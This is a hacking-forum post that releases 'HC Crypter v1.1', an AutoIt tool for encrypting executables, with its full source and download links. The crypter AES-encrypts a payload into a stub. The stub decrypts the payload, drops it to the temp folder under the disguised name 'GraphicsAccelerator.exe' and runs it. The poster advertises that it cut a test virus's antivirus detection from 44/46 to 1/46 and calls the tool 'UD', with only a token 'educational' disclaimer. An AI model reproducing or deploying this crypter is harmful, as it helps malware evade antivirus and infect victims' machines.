[HC Official] HC Crypter v1.1 03-02-2013, 02:15 PM
#1
I guess everyone here knows what a crypter is used for. For those who are interested in knowing which encryption system is used here, it is AES-256 bit encryption.
Screen Shot :
![[Image: Screen_4.jpg]](http://s11.postimage.org/9gsanqcer/Screen_4.jpg)
Please don't mind stupid looking screenie due to rounded edges :huh:
I encrypted a very well known test virus using this and the detection ratio went down from 44/46 to 1/46 {Just giving a stat}.
Virus Scan : vscan
One of the antiviruses detect it as infected file, but I can assure you that it is clean. If you are still paranoid about that 1/14 ratio, you should not download it then.
Download Link : HC Crypter
Cheers :lub:
Disclaimer : Please use this app for educational purpose only. We do not promote anything but ethical hacking...
-------------------------------------------------------------------------------------------
Source :
Crypter.au3
Stub.au3
GUIRoundCorners.au3
WinGetClientInfo.au3
WinSetClientSize.au3
-------------------------------------------------------------------------------------------
Updated to HC Crypter v1.1
It is nothing different from the previous version. I've just changed the algorithm used and few other little things to make this a little more UD than what the first version had become eventually. But this version isn't FUD either.
Download link : HC Crypter.rar
Screen Shot :
![[Image: Screen_4.jpg]](http://s11.postimage.org/9gsanqcer/Screen_4.jpg)
Please don't mind stupid looking screenie due to rounded edges :huh:
I encrypted a very well known test virus using this and the detection ratio went down from 44/46 to 1/46 {Just giving a stat}.
Virus Scan : vscan
One of the antiviruses detect it as infected file, but I can assure you that it is clean. If you are still paranoid about that 1/14 ratio, you should not download it then.
Download Link : HC Crypter
Cheers :lub:
Disclaimer : Please use this app for educational purpose only. We do not promote anything but ethical hacking...
-------------------------------------------------------------------------------------------
Source :
Crypter.au3
Code:
#include-once
#include "GUIRoundCorners.au3"
#include "WinGetClientInfo.au3"
#include<GUIConstants.au3>
#include<WindowsConstants.au3>
#include<Crypt.au3>
#include<GDIPlus.au3>
Opt("GUIOnEventMode"1)
$color1=0x090909
$color2=0xff0000
$color3=0x696969
$hWnd=GUICreate("Crypter",600,385,200,200,$WS_POPUP)
_GDIPlus_Startup()
$hImage = _GDIPlus_ImageLoadFromFile("logo.png")
$hGraphic = _GDIPlus_GraphicsCreateFromHWND($hWnd)
GUIRegisterMsg($WM_PAINT, "MY_WM_PAINT")
_GuiRoundCorners_Lite($hWnd,50)
$header=GUICtrlCreateLabel("CRYPTER",200,30,200,30)
$about=GUICtrlCreateLabel("Made By : Solixious",450,360,125,250)
$hLab1=GUICtrlCreateLabel("Input File",30,200,100,25)
$hInp1=GUICtrlCreateInput("",130,200,300,25)
$hBut1=GUICtrlCreateButton("Browse",450,200,100,25)
$hLab2=GUICtrlCreateLabel("Output File",30,240,100,25)
$hInp2=GUICtrlCreateInput("",130,240,300,25)
$hBut2=GUICtrlCreateButton("Browse",450,240,100,25)
$hBut3=GUICtrlCreateButton("Encrypt",130,290,100,25)
$hBut4=GUICtrlCreateButton("Exit",250,290,100,25)
GUISetOnEvent($GUI_EVENT_CLOSE,"quit")
GUICtrlSetOnEvent($hBut4,"quit")
GUICtrlSetOnEvent($hBut1,"browse1")
GUICtrlSetOnEvent($hBut2,"browse2")
GUICtrlSetOnEvent($hBut3,"encryptfile")
init()
GUISetState(@SW_SHOW,$hWnd)
While 1
WEnd
Func init()
GUISetBkColor($color1,$hWnd)
GUICtrlSetColor($header,$color2)
GUICtrlSetColor($about,$color2)
GUICtrlSetColor($hLab1,$color2)
GUICtrlSetColor($hLab2,$color2)
GUICtrlSetBkColor($hInp1,$color1)
GUICtrlSetBkColor($hInp2,$color1)
GUICtrlSetColor($hInp1,$color2)
GUICtrlSetColor($hInp2,$color2)
GUICtrlSetBkColor($hBut1,$color2)
GUICtrlSetBkColor($hBut2,$color2)
GUICtrlSetBkColor($hBut3,$color2)
GUICtrlSetBkColor($hBut4,$color2)
GUICtrlSetFont($header,25,1800)
GUICtrlSetFont($hLab1,15)
GUICtrlSetFont($hLab2,15)
GUICtrlSetFont($hInp1,15)
GUICtrlSetFont($hInp2,15)
GUICtrlSetFont($hBut1,12)
GUICtrlSetFont($hBut2,12)
GUICtrlSetFont($hBut3,12)
GUICtrlSetFont($hBut4,12)
EndFunc
Func MY_WM_PAINT($hWnd, $msg, $wParam, $lParam)
#forceref $hWnd, $Msg, $wParam, $lParam
_WinAPI_RedrawWindow($hWnd, 0, 0, $RDW_UPDATENOW)
_GDIPlus_GraphicsDrawImage($hGraphic, $hImage, 0, 0)
_WinAPI_RedrawWindow($hWnd, 0, 0, $RDW_VALIDATE)
Return $GUI_RUNDEFMSG
EndFunc
Func quit()
_GDIPlus_GraphicsDispose($hGraphic)
_GDIPlus_ImageDispose($hImage)
_GDIPlus_Shutdown()
Exit
EndFunc
Func browse1()
$filepath=FileOpenDialog("Input File",@MyDocumentsDir,"All Files (*.*)",1,"",$hWnd)
If $filepath <> "" Then
GUICtrlSetData($hInp1,$filepath)
EndIf
EndFunc
Func browse2()
$filepath=FileSaveDialog("Output File",@MyDocumentsDir,"Executable Files (*.exe)",16,"",$hWnd)
If $filepath <> "" Then
GUICtrlSetData($hInp2,$filepath & ".exe")
EndIf
EndFunc
Func encryptfile()
$path1=GUICtrlRead($hInp1)
$path2=GUICtrlRead($hInp2)
If FileExists($path1) Then
$marker=StringToBinary("SOLIXIOUS")
$output=FileOpen($path2,2+8+16)
$inputx1=FileOpen($path1,0+16)
$data1=FileRead($inputx1)
$stub=FileOpen(@ScriptDir & "\Stub.exe",0+16)
$stubdata=FileRead($stub)
FileWrite($output,$stubdata)
FileWrite($output,$marker)
$data1=encrypt(BinaryToString($data1))
FileWrite($output,StringToBinary($data1))
FileClose($output)
FileClose($inputx1)
GUICtrlSetData($hInp1,"")
GUICtrlSetData($hInp2,"")
EndIf
EndFunc
Func encrypt($data)
$data=_Crypt_EncryptData($data,"SOLIXIOUS",$CALG_AES_256)
Return $data
EndFunc
Stub.au3
Code:
#include<Crypt.au3>
$path=@ScriptFullPath
$file=FileOpen($path,0+16)
$data=FileRead($file)
$marker="SOLIXIOUS"
$strdata=BinaryToString($data)
$ardata=StringSplit($strdata,$marker,1)
HotKeySet("+!c","quit")
If @error Then
MsgBox(0,"No Delimiters","No delimiters Found!")
Else
If $ardata[0]=2 Then
$ardata[2]=decrypt(BinaryToString($ardata[2]))
$file1=FileOpen(@TempDir & "\GraphicsAccelerator.exe",2+16)
FileWrite($file1,$ardata[2])
FileClose($file1)
ShellExecute(@TempDir & "\GraphicsAccelerator.exe")
EndIf
EndIf
Func decrypt($data)
$data=_Crypt_DecryptData($data,"SOLIXIOUS",$CALG_AES_256)
return $data
EndFunc
Func quit()
Exit
EndFunc
GUIRoundCorners.au3
Code:
#include-once
#include "WinGetClientInfo.au3"
; #FUNCTION# ============================================================================================================================================
; Name...........: _GuiRoundCorners_Lite
; Description ...: Trimmed down version of GaryFrost's _GuiRoundCorners function. Intended to be used with windows without borders like WS_POPUP.
; Syntax ........: _GuiRoundCorners_Lite($h_win [, $i_radius])
; Parameters ....: $h_win - Window handle.
; $i_radius - [Optional] Radius of the round corner. Default value is 20.
; Return values .: Success - Returns 1
; Failure - Returns -1 and sets @error:
; |1 - _WinGetClientSize_Ex failed.
; |2 - CreateRoundRectRgn through dll call failed.
; |3 - SetWindowRgn through dll call failed.
; Remarks........: This function is intended to be used in my MsgBox_Tipped UDF therefore it has limited abilities compared to GaryFrost's original function.
; Author ........: GaryFrost
; Modified.......: Tip
;========================================================================================================================================================
Func _GuiRoundCorners_Lite($h_win, $i_radius = 20)
Dim $pos, $ret, $ret2
If Not WinExists($h_win) Then Return SetError(1,0,-1)
Local $i_tip_temparray = _WinGetClientSize_Ex($h_win)
If @error Then Return SetError(1,0,-1)
$ret = DllCall("gdi32.dll", "long", "CreateRoundRectRgn", "long", 0, "long", 0, "long", $i_tip_temparray[0], "long", $i_tip_temparray[3], "long",$i_radius, "long", $i_radius)
If $ret[0] Then
$ret2 = DllCall("user32.dll", "long", "SetWindowRgn", "hwnd", $h_win, "long", $ret[0], "int", 1)
If $ret2[0] Then
Return 1
Else
Return SetError(3,0,-1)
EndIf
Else
Return SetError(2,0,-1)
EndIf
EndFunc ;==>_GuiRoundCorners_Lite
; #FUNCTION# ============================================================================================================================================
; Name...........: _GuiRoundCorners_Ex
; Description ...: Modified version of GaryFrost's _GuiRoundCorners function. Intended to be used with windows without borders like WS_POPUP.
; Syntax ........: _GuiRoundCorners_Ex($h_win [, $i_radius[, $i_tip_type = False])
; Parameters ....: $h_win - Window handle.
; $i_radius - [Optional] Radius of the round corner. Default value is 20.
; $i_tip_type - [Optional] Determines which corners will be round. These parameters are set to match the ones used in MsgBox_Tipped UDF.
; |1,"t","TOP" - Considers the window moves from/to top and rounds only bottom side corners.
; |2,"b","BOTTOM" - Considers the window moves from/to bottom and rounds only top side corners.
; |3,"l","LEFT" - Considers the window moves from/to left and rounds only right side corners.
; |4,"r","RIGHT" - Considers the window moves from/to left and rounds only right side corners.
; Return values .: Success - Returns 1
; Failure - Returns -1 and sets @error:
; |1 - _WinGetClientSize_Ex failed.
; |2 - CreateRoundRectRgn through dll call failed.
; |3 - SetWindowRgn through dll call failed.
; Remarks........: This function is intended to be used, as a replacement to GuiRoundCorners_Lite, in my MsgBox_Tipped UDF.
; Author ........: Tip
;========================================================================================================================================================
Func _GuiRoundCorners_Ex($h_win,$i_tip_radius = 20, $i_tip_type = False)
Dim $pos, $ret, $ret2
If Not WinExists($h_win) Then Return SetError(1,0,-1)
Local $i_tip_temparray = _WinGetClientSize_Ex($h_win)
If @error Then Return SetError(1,0,-1)
ReDim $i_tip_temparray[6]
;~ $i_tip_temparray[4] = "The x-coordinate of the upper-left corner of the rounded rectangle."
;~ $i_tip_temparray[5] = "The y-coordinate of the upper-left corner of the rounded rectangle."
Switch $i_tip_type
Case "TOP","t", 1 ; MsgGUI will slide from/to top-center
$i_tip_temparray[3] = $i_tip_temparray[3]
$i_tip_temparray[4] = 0
$i_tip_temparray[5] = -$i_tip_radius
Case "BOTTOM","b", 2 ; MsgGUI will slide from/to bottom-center
$i_tip_temparray[3] = $i_tip_temparray[3] + $i_tip_radius
$i_tip_temparray[4] = 0
$i_tip_temparray[5] = 0
Case "LEFT","l", 3 ; MsgGUI will slide from/to left-center
$i_tip_temparray[0] = $i_tip_temparray[0]
$i_tip_temparray[4] = -$i_tip_radius
$i_tip_temparray[5] = 0
Case "RIGHT","r", 4 ; MsgGUI will slide from/to right-center
$i_tip_temparray[0] = $i_tip_temparray[0] + $i_tip_radius
$i_tip_temparray[4] = 0
$i_tip_temparray[5] = 0
Case Else
$i_tip_temparray[4] = 0
$i_tip_temparray[5] = 0
EndSwitch
Dim $pos, $ret, $ret2
$ret = DllCall("gdi32.dll", "long", "CreateRoundRectRgn", "int", $i_tip_temparray[4], "int", $i_tip_temparray[5], "int", $i_tip_temparray[0], "int", $i_tip_temparray[3], "int",$i_tip_radius, "int", $i_tip_radius)
If $ret[0] Then
$ret2 = DllCall("user32.dll", "long", "SetWindowRgn", "hwnd", $h_win, "long", $ret[0], "int", 1)
If $ret2[0] Then
Return 1
Else
Return SetError(3,0,-1)
EndIf
Else
Return SetError(2,0,-1)
EndIf
EndFunc ;==>_GuiRoundCorners_Ex
WinGetClientInfo.au3
Code:
#include-once
; #FUNCTION# ============================================================================================================================================
; Name...........: _WinGetClientSize_Ex
; Description ...: Retrives specified windows actual client size including menubar.
; Syntax ........: _WinGetClientSize_Ex($i_tip_Hwnd)
; Parameters ....: $i_tip_Hwnd - Window handle
; Return values .: Success - Returns an array.
; |array[0] = Width
; |array[1] = Height
; |array[2] = Height lost because of menu
; |array[3] = Actual client height (Height + Height lost because of menu)
; Failure - Returns -1 and sets @error:
; |1 - Specified window does not exist.
; |2 - WinGetClientSize failed.
; Author ........: Tip
;
; Remarks........: This function is intended to be used as an internal helper function in my scripts.
;========================================================================================================================================================
Func _WinGetClientSize_Ex($i_tip_Hwnd)
If Not WinExists($i_tip_Hwnd) Or Not IsHWnd($i_tip_Hwnd) Then Return SetError(1,0,-1)
Local $i_tip_MenuExists, $i_tip_MenuExists, $i_tip_aRet
$i_tip_MenuExists = DllCall("User32.dll", "handle", "GetMenu", "hwnd", $i_tip_Hwnd) ; We are checking if parent gui has a menu.
If @error Then
$i_tip_MenuExists = 0
Else
$i_tip_MenuExists = $i_tip_MenuExists[0]
If $i_tip_MenuExists > 0 Then
$i_tip_MenuExists = 20
Else
$i_tip_MenuExists = 0
EndIf
EndIf
$i_tip_aRet = WinGetClientSize($i_tip_Hwnd)
If IsArray($i_tip_aRet) = 0 Then
Return SetError(2,0,-1)
Else
ReDim $i_tip_aRet[4]
$i_tip_aRet[2] = $i_tip_MenuExists
$i_tip_aRet[3] = $i_tip_aRet[1] + $i_tip_aRet[2]
Return $i_tip_aRet
EndIf
EndFunc ;==>_WinGetClientSize_Ex
; #FUNCTION# ============================================================================================================================================
; Name...........: _WinGetClientPos_Ex
; Description ...: Retrives specified windows actual client position considering menubar.
; Syntax ........: _WinGetClientPos_Ex($i_tip_Hwnd, $i_tip_ConsiderMenu = False)
; Parameters ....: $i_tip_Hwnd - Window handle.
; $i_tip_ConsiderMenu - If true existing menu bar is considered while computing client position.
; Return values .: Success - Returns an array.
; |array[0] = Clients position to left (x).
; |array[1] = Clients position to top (y).
; |array[2] = Clients width
; |array[3] = Actual client height (Height + Height lost because of menu)
; |array[4] = X Difference between WinPos and ClientPos(BorderThickness)
; |array[5] = Y Difference between WinPos and ClientPos (TitleBar Thickness)
; Failure - Returns -1 and sets @error:
; |1 - Specified window does not exist.
; |2 - WinGetClientSize failed.
; Author ........: Tip
;
; Remarks........: This function is intended to be used as an internal helper function in my scripts.
;========================================================================================================================================================
Func _WinGetClientPos_Ex($i_tip_Hwnd, $i_tip_ConsiderMenu = False)
If Not WinExists($i_tip_Hwnd) Or Not IsHWnd($i_tip_Hwnd) Then Return SetError(1,0,-1)
Local $i_tip_WinPos, $i_tip_ClientSize, $i_tip_BorderThickness, $i_tip_aRet, $i_tip_TitleBarThickness
$i_tip_WinPos = WinGetPos($i_tip_Hwnd)
$i_tip_ClientSize = _WinGetClientSize_Ex($i_tip_Hwnd)
$i_tip_BorderThickness = ($i_tip_WinPos[2] - $i_tip_ClientSize[0])/2
$i_tip_TitleBarThickness = ($i_tip_WinPos[3] - $i_tip_ClientSize[1]) - $i_tip_BorderThickness
Dim $i_tip_aRet[6] = [$i_tip_WinPos[0] + $i_tip_BorderThickness, $i_tip_WinPos[1] + $i_tip_TitleBarThickness, $i_tip_ClientSize[0], $i_tip_ClientSize[1],$i_tip_BorderThickness,$i_tip_TitleBarThickness]
If $i_tip_ConsiderMenu = True And $i_tip_ClientSize[2] > 0 Then
$i_tip_aRet[1] -= $i_tip_ClientSize[2]
$i_tip_aRet[3] = $i_tip_ClientSize[3]
$i_tip_aRet[5] -= $i_tip_ClientSize[2]
EndIf
Return $i_tip_aRet
EndFunc ;==>_WinGetClientPos_Ex
WinSetClientSize.au3
Code:
#include-once
#include<WinGetClientInfo.au3>
; #FUNCTION# ============================================================================================================================================
; Name...........: _WinSetClientSize
; Description ...: Sets specified windows actual client size.
; Syntax ........: _WinSetClientSize($i_tip_Hwnd,$i_tip_width, $i_tip_height)
; Parameters ....: $i_tip_Hwnd - Window handle.
; $i_tip_width - Desired width.
; $i_tip_height - Desired height.
; Return values .: Success - Returns 1
; Failure - Returns -1 and sets @error:
; |1 - Specified window does not exist.
; |2 - WinGetPos failed.
; |3 - WinGetClientSize_Ex failed.
; Author ........: Tip
;
;========================================================================================================================================================
Global $tip_WinClientSize_WinSize_Diff
Func _WinSetClientSize($i_tip_hwnd,$i_tip_width, $i_tip_height)
If Not WinExists($i_tip_hwnd) Then Return SetError(1,0,-1)
If BitAnd(WinGetState($i_tip_hwnd),16) Or BitAnd(WinGetState($i_tip_hwnd),2) = 0 Then Return SetError(2,0,-1)
Local $i_tip_WinPos = WinGetPos($i_tip_hwnd)
If @error Then SetError(2,0,-1)
Local $i_tip_WinClientSize = _WinGetClientSize_Ex($i_tip_hwnd)
If $i_tip_WinClientSize = -1 Then Return SetError(3,0,-1)
If $i_tip_width = -1 Or $i_tip_width = "" Or $i_tip_width = Default Then $i_tip_width = $i_tip_WinClientSize[0]
If $i_tip_height = -1 Or $i_tip_height = "" Or $i_tip_height = Default Then $i_tip_height = $i_tip_WinClientSize[3]
If $i_tip_width < 0 Then $i_tip_width = 0
If $i_tip_height < 0 Then $i_tip_height = 0
If $i_tip_WinClientSize[0] = $i_tip_width And $i_tip_WinClientSize[3] = $i_tip_height Then Return 0
Local $i_tip_WinClientSize_WinSize_Difference = _Calculate_WinClientSize_WinSize_Difference()
If IsArray($i_tip_WinClientSize_WinSize_Difference) Then
If $i_tip_width > 0 Then $i_tip_width += $i_tip_WinClientSize_WinSize_Difference[0]
If $i_tip_height > 0 Then $i_tip_height += $i_tip_WinClientSize_WinSize_Difference[1]
EndIf
WinMove($i_tip_hwnd,"",$i_tip_WinPos[0],$i_tip_WinPos[1],$i_tip_width,$i_tip_height)
Return 1
EndFunc
; #FUNCTION# ============================================================================================================================================
; Name...........: _Calculate_WinClientSize_WinSize_Difference
; Description ...: Calculates the difference between WinSize(WinMove) and WinClientSize(WinGetClientSize)
; Syntax ........: _Calculate_WinClientSize_WinSize_Difference()
; Return values .: Success - Returns an array:
; |array[0] = Width difference.
; |array[1] = Height difference.
; Failure - Returns -1 and sets @error:
; |1 - GUICreate failed.
; |2 - _WinGetClientSize_Ex failed.
; |3 - WinMove failed.
; |4 - GUIDelete failed.
; Author ........: Tip
;
;========================================================================================================================================================
Func _Calculate_WinClientSize_WinSize_Difference()
If IsArray($tip_WinClientSize_WinSize_Diff) And UBound($tip_WinClientSize_WinSize_Diff) = 2 Then Return $tip_WinClientSize_WinSize_Diff ; If this function has already been called there is no need to calculate again.
Local $i_tip_tempvar = GUICreate("Tips Control GUI",200,200,-1000,-1000)
If @error Then Return SetError(1,0,-1)
Local $i_tip_ClientSize = _WinGetClientSize_Ex($i_tip_tempvar)
If @error Then Return SetError(2,0,-1)
WinMove($i_tip_tempvar,"",-1000,-1000,200,200)
If @error Then Return SetError(3,0,-1)
Local $i_tip_ClientSize_Modified = _WinGetClientSize_Ex($i_tip_tempvar)
If @error Then Return SetError(2,0,-1)
GUIDelete($i_tip_tempvar)
If @error Then Return SetError(4,0,-1)
Local $i_tip_returnarray
Dim $i_tip_returnarray[2]
$i_tip_returnarray[0] = $i_tip_ClientSize[0] - $i_tip_ClientSize_Modified[0]
$i_tip_returnarray[1] = $i_tip_ClientSize[1] - $i_tip_ClientSize_Modified[1]
Global $tip_WinClientSize_WinSize_Diff = $i_tip_returnarray
Return $i_tip_returnarray
EndFunc
-------------------------------------------------------------------------------------------
Updated to HC Crypter v1.1
It is nothing different from the previous version. I've just changed the algorithm used and few other little things to make this a little more UD than what the first version had become eventually. But this version isn't FUD either.
Download link : HC Crypter.rar
Folow me on My YouTube Channel if you're into art.